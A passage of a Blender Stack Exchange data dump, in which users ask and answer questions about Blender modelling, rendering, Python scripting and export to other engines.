  <row Id="33300" PostTypeId="2" ParentId="33118" CreationDate="2015-07-02T10:33:18.763" Score="5" Body="&lt;p&gt;I asked around and a user JA12 on #blender irc channel suggested me the following:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;strong&gt;Open up the source scene&lt;/strong&gt;, select the parent object in the Outliner with &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;em&gt;Left Click&lt;/em&gt;, that will select all levels of children as well&lt;/li&gt;&#xA;&lt;li&gt;Use &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;C&lt;/kbd&gt; (Copy) while those objects are selected, that will copy the selection to the buffer&lt;/li&gt;&#xA;&lt;li&gt;Close the &lt;strong&gt;source scene&lt;/strong&gt; and open up the &lt;strong&gt;destination scene&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;Press &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;V&lt;/kbd&gt; (Paste)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; &lt;em&gt;Copy Attributes Add-on&lt;/em&gt; prevents default copy action.&lt;/p&gt;&#xA;" OwnerUserId="1621" LastEditorUserId="3710" LastEditDate="2015-07-02T12:12:10.163" LastActivityDate="2015-07-02T12:12:10.163" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="33301" PostTypeId="1" AcceptedAnswerId="33314" CreationDate="2015-07-02T11:07:50.180" Score="7" ViewCount="6167" Body="&lt;p&gt;I'm trying to have an object set as invisible that hides other objects, but only when they are behind it.&#xA;I tried to use the object as a mask (by Compositing) but it works even if they are ahead it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;please note, I'm using the Blender Internal rendering engine&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="15365" LastEditorUserId="8262" LastEditDate="2015-07-12T16:28:45.233" LastActivityDate="2019-09-15T13:07:47.930" Title="Invisible object that hides other objects (as a mask)" Tags="&lt;objects&gt;&lt;blender-internal-render-engine&gt;&lt;compositor&gt;&lt;masking&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="33305" PostTypeId="2" ParentId="33257" CreationDate="2015-07-02T12:08:22.890" Score="1" Body="&lt;p&gt;Try to adjust in properties panel the start clip.Should solve the problem. Or you can try to turn your modifiers off in the viewport to sea the lines more clearly.&lt;/p&gt;&#xA;" OwnerUserId="15366" LastActivityDate="2015-07-02T12:08:22.890" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33307" PostTypeId="1" AcceptedAnswerId="33308" CreationDate="2015-07-02T12:29:31.887" Score="2" ViewCount="129" Body="&lt;p&gt;I would like to be able to drive the rotation of a boat by the z value of a surface vertex of a plane with ocean modifier on it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to access to this data without Python?&lt;/p&gt;&#xA;" OwnerUserId="13752" LastActivityDate="2015-07-03T22:24:57.917" Title="rotation driven by vertex z value - ocean modifier" Tags="&lt;animation&gt;&lt;drivers&gt;&lt;ocean-simulation&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33308" PostTypeId="2" ParentId="33307" CreationDate="2015-07-02T12:49:46.123" Score="3" Body="&lt;p&gt;You can add an empty, select it and then &lt;kbd&gt;Shift&lt;/kbd&gt; select your plane. Enter edit mode and hit &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;P&lt;/kbd&gt;. This will parent you empty to the vertex, so the empties location will match that of the vertex. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RWDjY.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To make this work with the ocean modifier. Make a new object, set it to shrink wrap the plane with your ocean modifier, and then make it a single vertex. Use the above parenting technique to attach you empty to the vertex.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/4OgA8.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/314/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=314&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3127" LastEditorUserId="-1" LastEditDate="2017-03-14T09:14:09.993" LastActivityDate="2015-07-03T22:24:57.917" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="33310" PostTypeId="2" ParentId="28573" CreationDate="2015-07-02T14:07:19.747" Score="1" Body="&lt;p&gt;Couldn't you create 2 different screen layouts? one for single monitor and another for duo monitor?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That way you'll have them both saved and you can switch between the 2 and then all you'd have to do is stretch blender to fit duo monitors.&lt;/p&gt;&#xA;" OwnerUserId="14946" LastActivityDate="2015-07-02T14:07:19.747" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33311" PostTypeId="1" CreationDate="2015-07-02T14:49:16.403" Score="1" ViewCount="1371" Body="&lt;p&gt;I've been looking over the internet and testing for days on how to make my character's bones (rigify) and keyshapes animations to work inside unreal engine 4. I've tried different fbx export settings from fbx 6.1 ascii to fbx 7.4 binary and nothing worked. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I use fbx 6.1 ascii, the animation works great but does not import the morph targets. When I exported without the animation, the morph targets work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I use fbx 7.4 Binary, the animation and the model is not visible in unreal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone encountered this so far? I've also tried exporting simple bones with keyshapes and it works well. So I think the problem is in rigify. &lt;/p&gt;&#xA;" OwnerUserId="15371" LastEditorUserId="2607" LastEditDate="2015-07-02T17:59:19.363" LastActivityDate="2015-07-02T17:59:19.363" Title="Right settings for exporting FBX with Rigify and morph targets to Unreal Engine 4" Tags="&lt;export&gt;&lt;rigify&gt;&lt;unreal-engine&gt;" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33312" PostTypeId="1" AcceptedAnswerId="33327" CreationDate="2015-07-02T14:52:40.987" Score="1" ViewCount="73" Body="&lt;p&gt;I reinstalled Blender freshly from blender.org and I noticed that, after working on a file, the size of destination folder where Blender is installed has increased and I don't know if this usual. Because the size of this directory has changed, this brings me to the question: can I modify/remove/add some python files (which are essential) by accident by just working normally on a blend file?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In case of removing or modifying a python file, will Blender continue working (and there is chance of data loss in my blend.file) or will Blender give an error and quit immediately?&lt;/p&gt;&#xA;" OwnerUserId="14206" LastActivityDate="2015-07-02T17:52:06.013" Title="WIll modifying an essential python file cause data loss in blend file?" Tags="&lt;python&gt;&lt;blend-files&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="33314" PostTypeId="2" ParentId="33301" CreationDate="2015-07-02T15:10:17.533" Score="2" Body="&lt;p&gt;To make an object as a mask in Blender Render all you have to do is enable &lt;strong&gt;Transparency&lt;/strong&gt; in the object material, change transparency mode to &lt;strong&gt;Mask&lt;/strong&gt; and set &lt;strong&gt;Alpha&lt;/strong&gt; to 0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cLTtP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12820" LastActivityDate="2015-07-02T15:10:17.533" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33315" PostTypeId="1" CreationDate="2015-07-02T15:20:55.793" Score="1" ViewCount="311" Body="&lt;p&gt;We work with Lumion and I want to make an golf course.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lumion accept only 3D materials so we have to build a terrain in a 3rd party 3d software. Is it possible to make a plane/mesh about 2x2 km and paste an image of a golf course on the plane, then export the 3d terrain as in an .skp, .fbx, .dae, or .obj format to Lumion?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there some tutorials to follow?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Barry &lt;/p&gt;&#xA;" OwnerUserId="15372" LastEditorUserId="3401" LastEditDate="2015-07-02T16:14:33.780" LastActivityDate="2015-07-02T16:14:33.780" Title="Terrain/plane with an aerial photo on it" Tags="&lt;mesh&gt;&lt;texturing&gt;" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="33316" PostTypeId="2" ParentId="33132" CreationDate="2015-07-02T15:24:57.507" Score="0" Body="&lt;p&gt;Another way to do it is with particles. The particle system would duplicate a specific tree object and distribute it. There is a button in the modifiers tab (if a particle system is present for the object) that makes all the particles into individual oobjects. I won't provide specific step by step instructions on how to set up the particle system, but I hope that works.&#xA;However, on most cases Python script would be preferable for what you want. You'll probably to distribute multiple tree models to provide variations, and you'd need a Python script for that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: well &lt;b&gt;now&lt;/b&gt; I see the comments under the question. This is probably useless. XD&lt;/p&gt;&#xA;" OwnerUserId="10911" LastActivityDate="2015-07-02T15:24:57.507" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33317" PostTypeId="1" CreationDate="2015-07-02T15:32:32.010" Score="2" ViewCount="1260" Body="&lt;p&gt;Mybe somebody knows, how to get Time node in Node Editor in blender 2.75&#xA;I am using Open shading Language ?&lt;/p&gt;&#xA;" OwnerUserId="15374" LastActivityDate="2015-07-02T17:27:42.993" Title="Blender 2.75 Time Node" Tags="&lt;nodes&gt;&lt;shaders&gt;&lt;osl&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33318" PostTypeId="2" ParentId="33270" CreationDate="2015-07-02T15:35:32.427" Score="1" Body="&lt;p&gt;It is common to add loop cuts to a model. It is also common to keep loop cuts to a minimum.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A bit of planning can help prevent loop cuts getting too excessive. In your example you have loop cuts to define edges of parts of your window shutters, these don't need to continue all the way around the house. The window shutter could be an object that is separate from the house with loops cuts that only exist in the shutter. Even if you keep everything contained in one mesh, you can have disconnected mesh parts that contain loop cuts that are local to each part.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2015-07-02T15:35:32.427" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33319" PostTypeId="1" AcceptedAnswerId="63365" CreationDate="2015-07-02T15:53:36.257" Score="5" ViewCount="1324" Body="&lt;p&gt;Is it possible to create a BMesh polygon (BMFace) with holes via Python?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use case. I need that for my &lt;a href=&quot;https://github.com/vvoovv/blender-geo/&quot;&gt;addons&lt;/a&gt; that import geographical data. A polygon for Rome has a hole for Vatican City.&lt;/p&gt;&#xA;" OwnerUserId="14200" LastActivityDate="2016-09-20T15:11:52.453" Title="BMesh polygons with holes" Tags="&lt;python&gt;&lt;bmesh&gt;" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33320" PostTypeId="2" ParentId="33294" CreationDate="2015-07-02T16:14:02.867" Score="3" Body="&lt;p&gt;You can create &lt;a href=&quot;https://archive.blender.org/wiki/index.php/User:Rking/Doc:2.6/Manual/3D_interaction/Transform_Control/Transform_Orientations/&quot; rel=&quot;nofollow noreferrer&quot;&gt;custom transform orientations&lt;/a&gt;. The shortcut is &lt;kbd&gt;&amp;#9096; Ctrl&lt;/kbd&gt;&lt;kbd&gt;&amp;#9095; Alt&lt;/kbd&gt;&lt;kbd&gt;Space&lt;/kbd&gt; or in the properties sidebar in the Tranform Orientations panel you will find a small &lt;code&gt;+&lt;/code&gt; that will create a new orientation based on the current selection, in this panel you can also rename and delete any custom transforms you have created.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you have defined a custom transform you can activate it in the transform orientation menu so that your transform manipulator is oriented the way you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dlU8H.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="935" LastEditorUserId="30849" LastEditDate="2019-12-29T12:46:37.083" LastActivityDate="2019-12-29T12:46:37.083" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33321" PostTypeId="1" AcceptedAnswerId="33477" CreationDate="2015-07-02T16:29:49.757" Score="3" ViewCount="203" Body="&lt;p&gt;I want to apply the &lt;code&gt;uv.select_split&lt;/code&gt; and after that the &lt;code&gt;transform.traslate&lt;/code&gt;, but dynamically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Manually is really easy, you press &lt;kbd&gt;Y&lt;/kbd&gt; and then press &lt;kbd&gt;G&lt;/kbd&gt;.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;With python I tried this in the Image-Editor:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.ops.uv.select_split()&#xA;bpy.ops.transform.translate()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I always need specify the values to &lt;code&gt;transform.translate&lt;/code&gt; and I don't want that. I want to set it like the &lt;kbd&gt;G&lt;/kbd&gt; key. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas on how to do this?&lt;/p&gt;&#xA;" OwnerUserId="11077" LastEditorUserId="11077" LastEditDate="2015-07-02T17:30:58.170" LastActivityDate="2015-07-06T06:29:01.073" Title="Script to UV split and translate dynamically" Tags="&lt;python&gt;&lt;scripting&gt;&lt;uv&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33322" PostTypeId="2" ParentId="33296" CreationDate="2015-07-02T16:35:20.577" Score="0" Body="&lt;p&gt;I think what you are looking for is the animated setting for these properties. In the NLA Editor you will find an Evaluation panel in the properties sidebar &lt;kbd&gt;N&lt;/kbd&gt; where you can enable animated for the time and influence of the strip and add keyframes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On my first quick look at this it does appear incomplete. When you enable these two animated settings, it appears to be keyframed but there is no f-curve, but it does then allow you to add keyframes to the values which does create an f-curve that you can then adjust in the graph editor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OviTS.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kmnIT.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2015-07-02T16:35:20.577" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="33323" PostTypeId="2" ParentId="33319" CreationDate="2015-07-02T16:37:46.763" Score="-1" Body="&lt;p&gt;yes, is possible.. you need your vertices and faces data...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here a fast template, you only need to modify your vertices and face data:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this addon set a button in order to add some cube with hole:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pRx1V.png&quot; alt=&quot;cube with hole&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bl_info = {&#xA;    &quot;name&quot;: &quot;bmesh with holes&quot;,&#xA;    &quot;author&quot;: &quot;Diego Quevedo&quot;,&#xA;    &quot;version&quot;: (1, 0),&#xA;    &quot;blender&quot;: (2, 7, 3),&#xA;    &quot;location&quot;: &quot;View3D &amp;gt; Add &amp;gt; Mesh &amp;gt; bmesh&quot;,&#xA;    &quot;description&quot;: &quot;Adds a new Mesh Object using bmesh&quot;,&#xA;    &quot;warning&quot;: &quot;&quot;,&#xA;    &quot;wiki_url&quot;: &quot;&quot;,&#xA;    &quot;tracker_url&quot;: &quot;&quot;,&#xA;    &quot;category&quot;: &quot;Add Mesh&quot;}&#xA;&#xA;&#xA;import bpy&#xA;from bpy.types import Operator&#xA;from bpy.props import FloatVectorProperty&#xA;from bpy_extras.object_utils import AddObjectHelper, object_data_add&#xA;from mathutils import Vector&#xA;&#xA;&#xA;def add_object(self, context):&#xA;    edges = []&#xA;    verts = [(1.0, 0.9999999403953552, -1.0), (1.0, -1.0, -1.0), (-1.0000001192092896, -0.9999998211860657, -1.0), (-0.9999996423721313, 1.0000003576278687, -1.0), (-0.7993143200874329, 7.718172128079459e-07, -1.0), (-0.7839558124542236, -0.1559378057718277, -1.0), (-0.7384703755378723, -0.3058837354183197, -1.0), (-0.6646059155464172, -0.4440747797489166, -1.0), (-0.565200924873352, -0.5652002096176147, -1.0), (-0.44407564401626587, -0.6646053194999695, -1.0), (-0.3058846890926361, -0.7384699583053589, -1.0), (-0.15593880414962769, -0.7839556336402893, -1.0), (-2.6044966716654017e-07, -0.7993143200874329, -1.0), (0.1559382975101471, -0.7839557528495789, -1.0), (0.3058842122554779, -0.738470196723938, -1.0), (0.44407519698143005, -0.6646056175231934, -1.0), (0.5652005672454834, -0.5652005672454834, -1.0), (0.6646056175231934, -0.44407519698143005, -1.0), (0.7384701371192932, -0.3058842122554779, -1.0), (0.7839557528495789, -0.15593838691711426, -1.0), (0.7993143200874329, 6.034655086750718e-08, -1.0), (0.7839556932449341, 0.1559385061264038, -1.0), (0.7384701371192932, 0.30588433146476746, -1.0), (0.6646056175231934, 0.44407519698143005, -1.0), (0.5652005672454834, 0.5652005672454834, -1.0), (0.44407525658607483, 0.6646055579185486, -1.0), (0.30588436126708984, 0.7384701371192932, -1.0), (0.15593849122524261, 0.7839556932449341, -1.0), (0.0, 0.7993143200874329, -1.0), (-0.1559372842311859, 0.7839559316635132, -1.0), (-0.3058832585811615, 0.7384706139564514, -1.0), (-0.4440743327140808, 0.6646061539649963, -1.0), (-0.5651998519897461, 0.5652012825012207, -1.0), (-0.6646050214767456, 0.4440760612487793, -1.0), (-0.7384697794914246, 0.3058851659297943, -1.0), (-0.7839555740356445, 0.15593931078910828, -1.0), (1.0000004768371582, 0.999999463558197, 1.0), (-0.9999999403953552, 1.0, 1.0), (0.9999993443489075, -1.0000005960464478, 1.0), (-1.0000003576278687, -0.9999996423721313, 1.0), (-2.6044966716654017e-07, -0.7993143200874329, 1.0), (-0.15593880414962769, -0.7839556336402893, 1.0), (-0.3058846890926361, -0.7384699583053589, 1.0), (-0.44407564401626587, -0.6646053194999695, 1.0), (-0.565200924873352, -0.5652002096176147, 1.0), (-0.6646059155464172, -0.4440747797489166, 1.0), (-0.7384703755378723, -0.3058837354183197, 1.0), (-0.7839558124542236, -0.1559378057718277, 1.0), (-0.7993143200874329, 7.718172128079459e-07, 1.0), (-0.7839555740356445, 0.15593931078910828, 1.0), (-0.7384697794914246, 0.3058851659297943, 1.0), (-0.6646050214767456, 0.4440760612487793, 1.0), (-0.5651998519897461, 0.5652012825012207, 1.0), (-0.4440743327140808, 0.6646061539649963, 1.0), (-0.3058832585811615, 0.7384706139564514, 1.0), (-0.1559372842311859, 0.7839559316635132, 1.0), (0.0, 0.7993143200874329, 1.0), (0.15593849122524261, 0.7839556932449341, 1.0), (0.30588436126708984, 0.7384701371192932, 1.0), (0.44407525658607483, 0.6646055579185486, 1.0), (0.5652005672454834, 0.5652005672454834, 1.0), (0.6646056175231934, 0.44407519698143005, 1.0), (0.7384701371192932, 0.30588433146476746, 1.0), (0.7839556932449341, 0.1559385061264038, 1.0), (0.7993143200874329, 6.034655086750718e-08, 1.0), (0.7839557528495789, -0.15593838691711426, 1.0), (0.7384701371192932, -0.3058842122554779, 1.0), (0.6646056175231934, -0.44407519698143005, 1.0), (0.5652005672454834, -0.5652005672454834, 1.0), (0.44407519698143005, -0.6646056175231934, 1.0), (0.3058842122554779, -0.738470196723938, 1.0), (0.1559382975101471, -0.7839557528495789, 1.0)]&#xA;    faces = [(0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19), (0, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 4, 3), (36, 0, 3, 37), (0, 36, 38, 1), (1, 38, 39, 2), (2, 39, 37, 3), (36, 37, 39, 38, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55), (36, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 40, 38), (28, 27, 57, 56), (29, 28, 56, 55), (27, 26, 58, 57), (30, 29, 55, 54), (26, 25, 59, 58), (31, 30, 54, 53), (25, 24, 60, 59), (32, 31, 53, 52), (24, 23, 61, 60), (33, 32, 52, 51), (23, 22, 62, 61), (34, 33, 51, 50), (22, 21, 63, 62), (35, 34, 50, 49), (21, 20, 64, 63), (4, 35, 49, 48), (20, 19, 65, 64), (5, 4, 48, 47), (19, 18, 66, 65), (6, 5, 47, 46), (18, 17, 67, 66), (7, 6, 46, 45), (17, 16, 68, 67), (8, 7, 45, 44), (16, 15, 69, 68), (9, 8, 44, 43), (15, 14, 70, 69), (10, 9, 43, 42), (14, 13, 71, 70), (11, 10, 42, 41), (13, 12, 40, 71), (12, 11, 41, 40)]&#xA;&#xA;&#xA;&#xA;    try:&#xA;&#xA;        mesh = bpy.data.meshes.new(name=&quot;New Object Mesh&quot;)&#xA;        mesh.from_pydata(verts, edges, faces)&#xA;        # useful for development when the mesh may be invalid.&#xA;        # mesh.validate(verbose=True)&#xA;        object_data_add(context, mesh, operator=self)&#xA;    except:&#xA;        print(&quot;error&quot;)&#xA;&#xA;&#xA;class OBJECT_OT_add_object(Operator, AddObjectHelper):&#xA;    &quot;&quot;&quot;Create a new Mesh Object&quot;&quot;&quot;&#xA;    bl_idname = &quot;mesh.cube_hole&quot;&#xA;    bl_label = &quot;Add Mesh Object&quot;&#xA;    bl_options = {'REGISTER', 'UNDO'}&#xA;&#xA;&#xA;&#xA;    def execute(self, context):&#xA;&#xA;        add_object(self, context)&#xA;&#xA;        return {'FINISHED'}&#xA;&#xA;&#xA;class OBJECT_OT_add_objectPanel(bpy.types.Panel):&#xA;    #bl_category = &quot;NN&quot;&#xA;    bl_space_type = &quot;VIEW_3D&quot;&#xA;    bl_region_type = &quot;TOOLS&quot;&#xA;    #bl_context = &quot;editmode&quot;&#xA;    bl_label = &quot;ADD_OBJ&quot;&#xA;    @classmethod&#xA;    def poll(cls, context):&#xA;        return (context.mode == 'OBJECT' or context.mode == 'EDIT_MESH' )&#xA;&#xA;    def draw(self, context):&#xA;        layout = self.layout&#xA;&#xA;        row = layout.row(align=True)&#xA;        row.operator(OBJECT_OT_add_object.bl_idname) #THE OPERATOR&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;def register():&#xA;    bpy.utils.register_module(__name__)&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_module(__name__)&#xA;&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11077" LastEditorUserId="11077" LastEditDate="2015-07-02T17:48:59.307" LastActivityDate="2015-07-02T17:48:59.307" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="33324" PostTypeId="1" AcceptedAnswerId="33737" CreationDate="2015-07-02T16:44:18.453" Score="8" ViewCount="1164" Body="&lt;p&gt;I'm stuck with this cycles scenario:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-I have a translucent tube inside a glass room&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-The tube is being lit by an emitter object, which has ray visibility turned off for &quot;camera&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-The emitter doesn't show up in the camera, but unfortunately it shows up in the glass material&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-I can't turn off &quot;transmission&quot; ray visibility, because then the emitter doesn't light up the tube any more&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-I would prefer a solution that doesn't require render layers, since compositing is hard because of partially transparent objects&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is:&#xA;Is it possible to limit the transmission bounces for the emitter object, so that the rays hit the tube, but don't reach the glass?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the render:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/eBBZL.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the .blend:&#xA;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/326/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=326&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1037" LastEditorUserId="-1" LastEditDate="2017-03-14T09:23:48.777" LastActivityDate="2015-07-12T11:26:23.880" Title="Emitter object shows up in reflection/transmission" Tags="&lt;cycles-render-engine&gt;" AnswerCount="3" CommentCount="10" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="33325" PostTypeId="2" ParentId="33319" CreationDate="2015-07-02T17:01:51.513" Score="2" Body="&lt;p&gt;Polygons in Mesh or BMesh aren't permitted to have holes in the sense of providing a perimeter and adding an internal part to subtract. This means considering alternatives.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;You can construct an irregular polygon / Ngon.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lYgNP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But it will contain at least two duplicated vertices for that pathway between the cutout and the perimeter. &lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;You could script a &lt;code&gt;mesh.fill()&lt;/code&gt;, which could take two given edge outlines and fill from the outer edges inwards. (will add script when I have time)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/M7V75.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;3&quot;&gt;&#xA;&lt;li&gt;Alternatively you might use a &lt;a href=&quot;https://blender.stackexchange.com/a/39978/47&quot;&gt;counter intuitive solution namely a 2D Curve (of straight parts) : code included in link&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="47" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:45.513" LastActivityDate="2015-10-13T15:10:21.727" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="33326" PostTypeId="2" ParentId="33317" CreationDate="2015-07-02T17:27:42.993" Score="2" Body="&lt;p&gt;I think what you mean is a node that does the same thing as the &lt;em&gt;time&lt;/em&gt; node in the compositor.  Unfortunately there is no single cycles node that does this.  However one can be constructed rather easily.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First add a &lt;em&gt;value&lt;/em&gt; node and plug it into the &lt;em&gt;color&lt;/em&gt; on an &lt;em&gt;RGB curves&lt;/em&gt; node.  Then keyframe the value node's value to be &lt;code&gt;0&lt;/code&gt; at frame 1 and &lt;code&gt;1&lt;/code&gt; at the last frame.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/WUZzJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then select the value node and hop over to the &lt;em&gt;graph editor&lt;/em&gt;...&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/JBcaa.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;... select the keyframes, press &lt;kbd&gt;T&lt;/kbd&gt;, and select &lt;em&gt;linear&lt;/em&gt; interpolation.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/ZjbHi.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The output of the RGB curves node will be the same as the output of the time node would be in the compositor.  You could eliminate the RGB curves node and just edit the interpolation curve in the graph editor; but while that will give you a &lt;em&gt;little&lt;/em&gt; more control it would be more cumbersome to tweak.  But it is an option if you need the extra control.&lt;/p&gt;&#xA;" OwnerUserId="5705" LastActivityDate="2015-07-02T17:27:42.993" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33327" PostTypeId="2" ParentId="33312" CreationDate="2015-07-02T17:52:06.013" Score="2" Body="&lt;p&gt;Well… There are several questions here actually:&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;I. Is it normal that the installation directory of Blender grows after the first launch?&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;YES&lt;/strong&gt;: Blender is only distributed with “pure” python files, the first time those get used/executed, the python interpreter will sort of compile them into an intermediary “machine language” code (similar to assembler, but universal and that still has to be interpreted by the python engine, not directly by the processor). You can find all those &lt;code&gt;.pyc&lt;/code&gt; files in special &lt;code&gt;__pycache__&lt;/code&gt; directories next to all py modules (UI scripts, addons,.etc.).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See also &lt;a href=&quot;https://stackoverflow.com/questions/16869024/what-is-pycache&quot;&gt;this thread&lt;/a&gt; and 